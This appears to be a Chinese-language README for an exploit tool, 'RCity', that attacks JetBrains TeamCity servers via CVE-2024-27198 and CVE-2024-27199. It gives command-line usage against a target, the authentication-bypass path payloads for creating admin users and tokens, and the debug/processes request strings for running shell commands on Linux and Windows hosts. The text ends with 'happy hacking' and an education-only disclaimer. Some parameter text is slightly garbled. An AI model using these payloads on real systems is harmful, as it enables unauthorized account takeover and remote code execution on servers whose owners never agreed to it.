利用 CVE-2024-27198 和 CVE-2024-27199
RCity 是一个与易受攻击的 TeamCity 服务器交互的 Python 脚本。该 CVE 允许未经授权的管理员账户创建,绕过域上的 403 错误,同时还能通过 Debug/Processes 路径实现远程代码执行。
要使用该脚本,你需要通过命令行参数 -t 或 --target 提供目标 TeamCity 服务器 URL:
python3 RCity.py -t http://teamcity.com:8111
你可以使用 -v 或 --verbose 选项增加输出详细程度:
python3 RCity.py -t http://teamcity.com:8111 --verbose
你可以通过 -c 或 --command 选项直接发送一次性命令,如果你想要交互式 shell,请不要使用此选项。它不适用于反弹 shell,因为发送命令后连接会关闭:
python3 RCity.py -t http://teamcity.com:8111 -c id
你可以使用 -s 或 --stealth 选项确保不向 TeamCity 服务器发送任何 POST 请求:
python3 RCity.py -t http://teamcity.com:8111 -s
禁用 RCE 功能 - 其他一切保持不变:
python3 RCity.py -t http://teamcity.com:8111 --no-rce
阻止收集用户列表,在大型用户列表上可能耗时。使用此选项可直接跳转到 RCE!
python3 RCity.py -t http://teamcity.com:8111 --no-enum



在这里我将介绍该项目中使用的函数,希望能帮助你更好地理解此漏洞及其相关的安全缺陷。
该漏洞的性质在于 CVE-2024-27198 和 CVE-2024-27199 之间的关联,因为问题的根源都来自 JetBrains TeamCity 服务器中 REST API 路由的相同认证绕过。然而,该漏洞的影响正是在此处发生转变并变得有趣……CVE-2024-27198 是纸面上真正的重头戏,因为它披露了 RCE 影响,利用了 /app/rest/debug/processes 端点,仅 在拥有通过授权令牌发起必要请求权限的情况下。对此端点的调用在 Unix 和 Windows 主机之间有所不同,但操纵方式类似,唯一的区别是触发请求所使用的原生 shell。
Linux - processes?exePath=/bin/sh¶ms=-c¶ms={yourRCE_HTMLEncoded}
Windows - processes?exePath=cmd.exe¶ms=/c¶ms={yourRCE_HTMLEncoded}
如前所述——没有认证这是不可能的,应该安全……对吧?这就是认证绕过发挥作用的地方。
绕过 TeamCity 构建策略为我们提供了向服务器发起请求并在其中放置我们的授权令牌的机会,甚至无需技术上的自有账户。
绕过本身是创建一条通往 REST 路由的替代路径。简单来说,它需要控制一个负责处理请求的类中的内容,特别是那些不是 302(重定向)的请求,这使我们能够通过在 URL 中附加三个必要部分来控制它。
/haxjsp 的 URL 查询参数,用于查询 API 路由,例如 users 路径:?jsp=/app/rest/users.jsp 结尾的任意 URI 路径。这可以通过附加一个 HTTP 路径参数段 ;.jsp 来实现因此,用于对用户端点进行未授权请求的最终载荷为:/hax?jsp=/app/rest/users;.jsp
现在我们可以对用户端点发起请求,并添加我们自己的用户,甚至是管理员!
然而,在进入 RCE 之前,我们需要一个授权令牌,作为针对其 REST API 的 RCE 请求的载体。现在有了绕过,没问题,我们去生成一个!
令牌端点遵循与前一个示例相同的路径树,可以在 /app/rest/users/id:{user_id}/tokens/{token_name} 找到。让我们再构造一个绕过认证并创建令牌的载荷!
(我们为此提供自己的令牌名称,在本脚本中,这是一个由字母数字 ASCII 字符随机生成的名称。)
/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp
在向新创建的用户发送 POST 请求添加令牌后,我们现在可以开始向 /app/rest/debug/processes 路由发起请求了!
构造 RCE 载荷没什么特别的,只需要在 params 参数中 HTML 编码你的载荷即可!
祝黑客愉快!
https://nvd.nist.gov/vuln/detail/CVE-2024-27198
https://github.com/W01fh4cker/CVE-2024-27198-RCE
此脚本仅供教育目的。请负责任地使用,并且仅在你拥有访问权限的系统上使用。